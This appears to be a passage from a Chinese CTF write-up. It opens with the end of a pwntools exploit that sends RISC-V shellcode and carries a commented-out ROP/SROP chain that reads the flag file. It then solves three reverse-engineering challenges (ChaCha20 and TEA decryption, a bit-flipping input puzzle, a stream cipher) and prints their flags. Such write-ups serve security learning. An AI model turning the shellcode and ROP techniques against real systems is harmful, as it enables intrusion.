0xB7, 0x05, 0xD1, 0x06, 0xA1, 0x81, 0x13, 0x05, 0xC0, 0xF9, 0x01, 0x46, 0x81, 0x46, 0x93, 0x08,
0x80, 0x03, 0x73, 0x00, 0x00, 0x00, 0xB7, 0x05, 0xD1, 0x06, 0xA1, 0x81, 0x13, 0x06, 0x00, 0x10,
0x93, 0x08, 0xF0, 0x03, 0x73, 0x00, 0x00, 0x00, 0x05, 0x45, 0xB7, 0x05, 0xD1, 0x06, 0xA1, 0x81,
0x13, 0x06, 0x00, 0x10, 0x93, 0x08, 0x00, 0x04, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
shellcode = ''
for i in shellcode_int:
shellcode += chr(i)
sl(shellcode.ljust(0x100, '\x00') + './flag')

#libc_base = u64(rc(6).ljust(8,'\x00'))
#print "libc_base---->" + hex(libc_base)
#malloc_hook = libc_base + libc.sym["__malloc_hook"]
#fake_chunk = malloc_hook - 0x23
#realloc = libc_base + libc.sym["realloc"]
#free_hook = libc_base + libc.sym["__free_hook"]
#system = libc_base + libc.sym["system"]
#binsh = libc_base + libc.search("/bin/sh").next()
#setcontext = libc_base + libc.sym["setcontext"]
#pop_rax_ret = libc_base + 0x000000000004a550
#pop_rsi_ret = libc_base + 0x0000000000027529
#pop_rdx_r12_ret = libc_base + 0x000000000011c1e1
#pop_rdi_ret = libc_base + 0x0000000000026b72
#syscall_ret = libc_base + 0x0000000000066229
#magic_gadget = libc_base + 0x00000000001547a0
#0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; #call qword ptr [rdx + 0x20];
#ret = libc_base + 0x00000000000c1479

#heap_addr = u64(rc(6).ljust(8,'\x00'))-0x470
#print "heap_addr--->" + hex(heap_addr)
#pay_start = heap_addr+0xec0

#def srop_pay():
#pay = ''
#pay += p64(0) + p64(pay_start)
#pay = pay.ljust(0x20,'\x00')
#pay += p64(setcontext+33)
#pay = pay.ljust(0x68,'\x00')
#pay += p64(0)
#pay += p64(pay_start)
#pay += p64(0)
#pay += p64(0)
#pay += p64(0x110)
#pay = pay.ljust(0xa0,'\x00')
#pay += p64(pay_start)
#pay += p64(syscall_ret)
#pay = pay.ljust(0xe0,'\x00')
#pay += p64(pay_start)
#return pay

#def orw_pay():
#pay = ''
#pay += p64(pop_rdi_ret)
#pay += p64(pay_start+0x100)
#pay += p64(pop_rsi_ret)
#pay += p64(0)
#pay += p64(pop_rax_ret)
#pay += p64(0x2)
#pay += p64(syscall_ret)
#pay += p64(pop_rdi_ret)
#pay += p64(3)
#pay += p64(pop_rsi_ret)
#pay += p64(heap_addr)
#pay += p64(pop_rdx_r12_ret)
#pay += p64(0x40)
#pay += p64(0)
#pay += p64(pop_rax_ret)
#pay += p64(0x0)
#pay += p64(syscall_ret)
#pay += p64(pop_rdi_ret)
#pay += p64(1)
#pay += p64(pop_rsi_ret)
#pay += p64(heap_addr)
#pay += p64(pop_rdx_r12_ret)
#pay += p64(0x40)
#pay += p64(0)
#pay += p64(pop_rax_ret)
#pay += p64(0x1)
#pay += p64(syscall_ret)
#pay = pay.ljust(0x100,'a')
#pay += './flag\x00\x00'
#return pay




# i = 0
# while 1:
# print i
# i += 1
# try:
# pwn()
# except EOFError:
# p.close()
# local = 1
# elf = ELF('./note_five')
# if local:
# p = process('./note_five')
# libc = elf.libc
# continue
# else:
# p = remote('121.40.246.48',9999)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# else:
# sl("ls")
# break
p.interactive()

image-20210203234956215

这里猜测一下栈的位置也是不变的,盲猜爆破栈地址,实现跳栈上的shellcode,就像之前做那个arm的题目一样,以后有机会再试试看,因为栈是可以执行的。

二、RE

1、flag0

环境准备

这题是riscv64架构的题目,首先下载安装ghidra9.2,网盘地址是:

https://pan.baidu.com/s/1C9JYsPq0xvF5pGW8yefeaw

pass:e57x

因为9.2静态分析加入了对于riscv架构的反编译,也可以装个choco包管理器,然后在管理员状态下的命令行输入

1
choco install ghidra

同时为了进行动态调试,我们还需要搭建调试的环境,这里经过踩坑发现,只有ubuntu20下利用gdb9.2,装上最新版的gef插件,才能进行动态调试,这里给个gef的地址:

https://github.com/hugsy/gef

配置时只需要把pwndbg切换下即可,因为pwndbg和peda对于调试有点问题,不支持,所以用gef。

开始做题

先结合输出的字符串用ghidra定位到main函数的位置

image-20210120105746608

image-20210120110147313

找到了main函数的位置,但是因为反编译会报错,所以我们直接看汇编即可,这里先学习一下riscv64的汇编看看(略),最简单最快的方法就是自己写测试demo,然后生成.s文件去看汇编即可

1
2
3
4
#include <stdio.h>
void main(){
printf("Hello %s!\n","World");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Dump of assembler code for function main:
0x0000000000010198 <+0>: addi sp,sp,-16
0x000000000001019a <+2>: sd ra,8(sp) #push
0x000000000001019c <+4>: sd s0,0(sp)
0x000000000001019e <+6>: addi s0,sp,16
0x00000000000101a0 <+8>: lui a5,0x1a
0x00000000000101a2 <+10>: addi a1,a5,-1504 # 0x19a20 #加载字符串"Hello %s!\n" 的地址
0x00000000000101a6 <+14>: lui a5,0x1a
0x00000000000101a8 <+16>: addi a0,a5,-1496 # 0x19a28 #加载字符串"Wrold"的地址
0x00000000000101ac <+20>: jal ra,0x1035a <printf> #调用printf, printf会从a0,a1内获取参数
0x00000000000101b0 <+24>: nop
0x00000000000101b2 <+26>: ld ra,8(sp) #pop
0x00000000000101b4 <+28>: ld s0,0(sp)
0x00000000000101b6 <+30>: addi sp,sp,16
0x00000000000101b8 <+32>: ret

知道了a0和a1等是用来传参数的,返回值放到a0,然后继续分析:

image-20210120114710259

这里通过动态调试发现,输入的字符长度是a3(strlen计算后的值),然后要check的字符串长度经过调试发现是0x59个字符,所以第一步输入长度确定了是89个字符,继续分析汇编以及动态调试:

image-20210120121623051

malloc_store将flag后面的48位用堆块保存了起来(动态调试得到),同时分析store函数可知

store函数通过扩展将table1和table2的值以及我们的flag一起填充到栈上保存:

image-20210120121525140

接着进行chacha20加密,其实说白了也就是和rc4一样,先初始化数据,再进行异或加密而已

image-20210120135908828

这里提取出xor后stack上面进行异或的key(一共0x29个字符):

image-20210120140033541

然后进行密文的check1,这里只check前0x29个字节

image-20210120143056823

调用check1时动态调试获取到check的密文,一共0x29位:

image-20210120143203779

这样第一部分的flag就可以解出来了:

1
2
3
4
5
6
7
8
9
c = '88 e7 03 b4 36 cd 97 ab 5a a5 a6 0b df ce 08 3b 9d 90 32 3c 4e 15 14 bd 8d 38 38 b0 ee 2a bc 4b f9 aa 24 26 76 a3 a5 75 5e'.split(' ')
key = 'ee 8b 62 d3 4d a5 f6 dd 3f fa df 64 aa 91 7c 49 f4 f5 56 63 29 7d 7d d9 ff 59 01 9e dc 75 d8 2e 9a c5 49 56 1f cf c0 07 01'.split(' ')
key = [int(i,16) for i in key]
c = [int(i,16) for i in c]
flag1 = ''
for i in range(len(c)):
flag1 += chr(c[i]^key[i])
print flag1
#flag{have_you_tried_ghidra9.2_decompiler_

下面继续运行看下第二层加密,针对后面48个字符,我们将断点下到tea那里,然后看下a0和a1的参数:

image-20210120144452551

可以知道a0是我们的后48个字符,a1是我们tea算法的key:

image-20210120144549321

分析下tea算法:

image-20210120144650630

这里可以很清楚看到,除了while循环的轮转数从32变为16外,其他的不变,这里key和输入的明文都以int形式存储(动态调试可以知道),也就是4字节为单位,小端序,48个字符,就有12个4字节的数据,每次运算2个,所以只需要写个python脚本即可实现求解,现在继续寻找我们的check2密文,同样下断点然后看check的参数

image-20210120145350056

image-20210120145252739

4字节为单位,就是:

image-20210120145317798

提取密文,我们再次写脚本求解即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
k = [0x1368a0bb, 0x190ace1e , 0x35d8a357 ,0x26bf2c61]
v = [0xc45087f9 , 0x0703f2b2 , 0x6974f43c, 0xedb4bb59 ,
0x0ff0b02a , 0x008520f2 ,0xfdcd23dd , 0x35024875 ,
0xf1d7b6d3 , 0x74f21be1 , 0xcb2dbf12 , 0xa4b453f6 ]
flag2 = ""
def decrypt(v0,v1,k):
global flag2
sume=0xe3779b90#(0x9e3779b9*16)&0xffffffff=0xe3779b90
delta=0x9e3779b9
k0=k[0]
k1=k[1]
k2=k[2]
k3=k[3]
for i in range(16):
v1 = (v1-(((v0<<4) + k2) ^ (v0 + sume) ^ ((v0>>5) + k3)))&0xffffffff
v0 = (v0-(((v1<<4) + k0) ^ (v1 + sume) ^ ((v1>>5) + k1)))&0xffffffff
sume = (sume - delta)&0xffffffff
#存的时候小端序,现在要倒过来
flag2 += (hex(v0).strip('0x').decode('hex'))[::-1]
flag2 += (hex(v1).strip('0x').decode('hex'))[::-1]

i = 0
while i<12:
decrypt(v[i],v[i+1],k)
i += 2
print("flag2--->"+flag2)
#if_you_have_hexriscv_plz_share_it_with_me_thx:P}

现在将2部分的脚本合并在一起即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
c = '88 e7 03 b4 36 cd 97 ab 5a a5 a6 0b df ce 08 3b 9d 90 32 3c 4e 15 14 bd 8d 38 38 b0 ee 2a bc 4b f9 aa 24 26 76 a3 a5 75 5e'.split(' ')
key = 'ee 8b 62 d3 4d a5 f6 dd 3f fa df 64 aa 91 7c 49 f4 f5 56 63 29 7d 7d d9 ff 59 01 9e dc 75 d8 2e 9a c5 49 56 1f cf c0 07 01'.split(' ')
key = [int(i,16) for i in key]
c = [int(i,16) for i in c]
flag1 = ''
for i in range(len(c)):
flag1 += chr(c[i]^key[i])
print flag1
#flag{have_you_tried_ghidra9.2_decompiler_
k = [0x1368a0bb, 0x190ace1e , 0x35d8a357 ,0x26bf2c61]
v = [0xc45087f9 , 0x0703f2b2 , 0x6974f43c, 0xedb4bb59 ,
0x0ff0b02a , 0x008520f2 ,0xfdcd23dd , 0x35024875 ,
0xf1d7b6d3 , 0x74f21be1 , 0xcb2dbf12 , 0xa4b453f6 ]
flag2 = ""
def decrypt(v0,v1,k):
global flag2
sume=0xe3779b90#(0x9e3779b9*16)&0xffffffff=0xe3779b90
delta=0x9e3779b9
k0=k[0]
k1=k[1]
k2=k[2]
k3=k[3]
for i in range(16):
v1 = (v1-(((v0<<4) + k2) ^ (v0 + sume) ^ ((v0>>5) + k3)))&0xffffffff
v0 = (v0-(((v1<<4) + k0) ^ (v1 + sume) ^ ((v1>>5) + k1)))&0xffffffff
sume = (sume - delta)&0xffffffff

flag2 += (hex(v0).strip('0x').decode('hex'))[::-1]
flag2 += (hex(v1).strip('0x').decode('hex'))[::-1]

i = 0
while i<12:
decrypt(v[i],v[i+1],k)
i += 2
print flag2
#if_you_have_hexriscv_plz_share_it_with_me_thx:P}
print flag1+flag2
#flag{have_you_tried_ghidra9.2_decompiler_if_you_have_hexriscv_plz_share_it_with_me_thx:P}

最后检验下结果:

image-20210120145925540

2、chinesegame

这题给了本地的附件,也就是本地输入正确,远程会回显flag回来,盲猜会执行cat flag命令,于是查找一波字符串:

image-20210120152100529

确实有,交叉引用既可定位到main函数了,然后经过静态分析和动态调试,知道了函数的功能,更改函数名如下,方便自己理解:

image-20210120152136037

逻辑很简单,首先初始化heap,动态调试会发现,init_heap完成后,会生成堆块链表,bk指针作为链接,fd指针存储值,然后输入我们的操作,这里只能输入0和1的字符,输入完,0和1分别有自己的handle函数,等输入全部处理完后退出,或者856次操作后才从for循环退出来(就算输入900个字符,第856次也会退出),我们再看下check函数:

image-20210120152607948

check是检查是不是堆块中的所有值都是小于0x64(100),是的话就cat flag结束程序,现在重点就是分析那个0和1的操作在干什么?

看下0:

image-20210120220640972

再看下1:

image-20210120220659508

在for循环中我们可以知道,堆中数据的下标和table的下标满足这样的等式

1
2
j = table[i]//获取到的值
heap[10-j]//修改的堆块

根绝这个规则我们可以知道table前面2行的值对应修改的堆块下标关系:

1
2
3
4
5
6
//table值
1, 3, 1, 2, 1, 5, 1, 2, 1, 3, 1, 2, 1, 4, 1, 2, 1, 3
1, 2, 1, 7, 1, 2, 1, 3, 1, 2, 1, 4, 1, 2, 1, 3, 1, 2
//堆的下标
9, 7, 9, 8, 9, 5, 9, 8, 9, 7, 9, 8, 9, 6, 9, 8, 9, 7
9, 8, 9, 3, 9, 8, 9, 7, 9, 8, 9, 6, 9, 8, 9, 7, 9, 8

通过分析可以知道handle1和handle2的功能:

我们把大于100的数字看成1,小于100的看成0,那么2个handle函数能实现以下的转化关系

1
2
110000--->010000  //1->0  handle1功能,也就是输入0
010000--->110000 //0->1 handle2功能,也就是输入1

如果第一个值是我们想要变换的值,需要满足它的下一位为1,再往后的其他全部位为0,才能把当前值从1变为0,也就是

1
110000--->010000  //1->0  handle1功能,也就是输入0

如果第一个值是我们想要变换的值且为0,需要满足它的下一位为1,再往后的其他全部位为0,才能把当前值从0变为1,也就是

1
010000--->110000  //0->1  handle2功能,也就是输入1

且最后一位可以随意变换,当最后一位为1时输入0可以变为0,当最后一位为0时输入1可以变为1,也就是

1
000000--->000001  //0->1  handle2功能,也就是输入1
1
000001--->000000  //1->0  handle1功能,也就是输入0

其实一开始我也自己研究了下,怎么利用上面的规则实现把所有的值变为小于0,但是搞了一波发现,好像有点难,但是也发现了好像有一些套路的,然后那个table里面的值对应改变堆块的值,要是遇到堆块的值为1,我们输入0,看能不能把堆块值变为0,如果遇到堆块值为0,输入1,看能不能把堆块值变为1,说干就干,以下是手动的测试例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//原始值
1011111111
//最终目标
0000000000
//每个下标
0123456789
//转变规则
1100000000--->0100000000 1->0
0100000000--->1100000000 0->1
//前2行的table值对应的堆下标
9, 7, 9, 8, 9, 5, 9, 8, 9, 7, 9, 8, 9, 6, 9, 8, 9, 7
9, 8, 9, 3, 9, 8, 9, 7, 9, 8, 9, 6, 9, 8, 9, 7, 9, 8
//手动代入测试
1011111111 //下标为9是1,输入0
0
1011111110 //变为0,下标为7是1,输入0
0
1011111010 //110->010,成功,下标为9是0,输入1
1
1011111011 //变为1,下标为8是1,输入0
0
1011111001 //11->01,成功,下标为9是1,输入0
0
1011111000 //到此完成了后面的3位变换,已经全部变为0了,找到套路了,再往下也一样的道理
0
1011101000
1
1011101001
1
1011101011
0
1011101010
1
1011101110
1
1011101111
0
1011101101
0
1011101100
0
1011100100
1
1011100101
1
1011100111
0
1011100110
0
1011100010
1
1011100011
0
1011100001
0
1011100000 //这里实现了5个0了,说明没有问题

通过演示可以知道,由table表可以知道堆下标,然后只要那个值为1,我们就输入0,使它变为0,如果它是0,我们就输入1,使它变为1,经过856次操作就可以把所有的都变换成小于0的数,现在我们可以写个exp脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
table = [0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000007, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000009, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000007, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000008, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000007, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x0000000A, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000007, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000008, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000007, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000009, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000007, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000008, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000007, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000006, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000005, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001, 0x00000004, 0x00000001, 0x00000002, 0x00000001, 0x00000003, 0x00000001, 0x00000002, 0x00000001,0,0x4058A,0]
heap = [1, 0, 1, 1, 1, 1, 1, 1, 1, 1]
print(len(table))
flag = ''
for i in range(len(table)):
j = 10 - table[i]
tmp = heap[j]
if tmp == 0:
flag += '1'
heap[j] = 1

elif heap[j] == 1:
flag += '0'
heap[j] = 0
for k in range(len(heap)):
if heap[k]==1:
break
if k==9:
print "i--->"+hex(i)
print table[i]
print flag
exit(0)

print flag
#0010001101100011001000110110011100100111011000110010001101100111001000110110001100100111011001110010011101100011001001110110011100100011011000110010011101100111001001110110001100100011011001110010001101100011001000110110011100100111011000110010011101100111001000110110001100100011011001110010011101100011001000110110011100100011011000110010001101100111001001110110001100100111011001110010001101100011001001110110011100100111011000110010001101100111001000110110001100100111011001110010011101100011001001110110011100100011011000110010001101100111001001110110001100100011011001110010001101100011001000110110011100100111011000110010011101100111001000110110001100100111011001110010011101100011001000110110011100100011011000110010001101100111001001110110001100100111011001110010001101100011001000110110011100100111011000110010001101100111001000110110001100100

通过调试打印值可以发现在第852次就实现了全部变为0,所以输入就可以确定了

最后检验下

image-20210120225442349

3、stream

先来看看程序的输入输出,打开失败,好像要有输入文件

image-20210121203833461

ida查找字符调试一波:

image-20210121203913746

交叉引用定位过去main函数的主要操作:

image-20210121204011034

因为看不太懂rust语言,然后干脆直接动态调试查看逻辑好了,发现会打开flag文件,然后读取里面的字符,继续分析,先来看看一个随机数函数的生成:

image-20210121212058751

这里经过动态调试发现传进去的flag的一个值作为一个种子进行了随机数的生成,然后随机数存储到stack上,然后这个值进行了异或加密存回去,然后pi的值加了7,第二次时,把前一次的种子和新种子放到一起进行加密生成随机数,这里可以知道每一次要进行随机数加密取的种子下标顺序:i

1
2
3
pi = 4
i = pi % len
pi + 7

这里可以知道因为是单字节加密,然后取明文的累积作为key生成的一个种子,所以知道了输入就知道了随机数。但是功底太差了,看不懂随机数是怎么生成的,只是知道了怎么加密的现在,继续分析:

image-20210121225632781

最后是打开output文件,将加密后的密文放进去。

这里逻辑已经比较清楚了,我们要做的就是写个爆破脚本去一一碰撞check的密文即可,这里因为不同的明文值加密得到的可能是相同的密文值(动态调试结合写脚本尝试爆破时知道的),所以实际上是一棵树深度搜索的过程!只有一个可能是正确的或者说可能出现多解也不一定,反正能走到最后的根节点的都试试,自己写个脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
# enc = []
# with open("check","rb+") as f:
# a = f.read()
# for i in a:
# enc.append(ord(i))
# print enc
enc = [154, 122, 66, 146, 60, 227, 27, 164, 184, 114, 150, 47, 1, 152, 94, 41, 34, 245, 154, 20, 13, 76, 24, 42, 56, 65, 212, 243, 169, 232, 96, 238, 218, 3, 220, 28, 161, 134, 18, 254, 24, 66, 137, 128, 145, 220]
idx = 4
flag = "flag{ffffffffffffffffffffffffffffffffffffffff}"
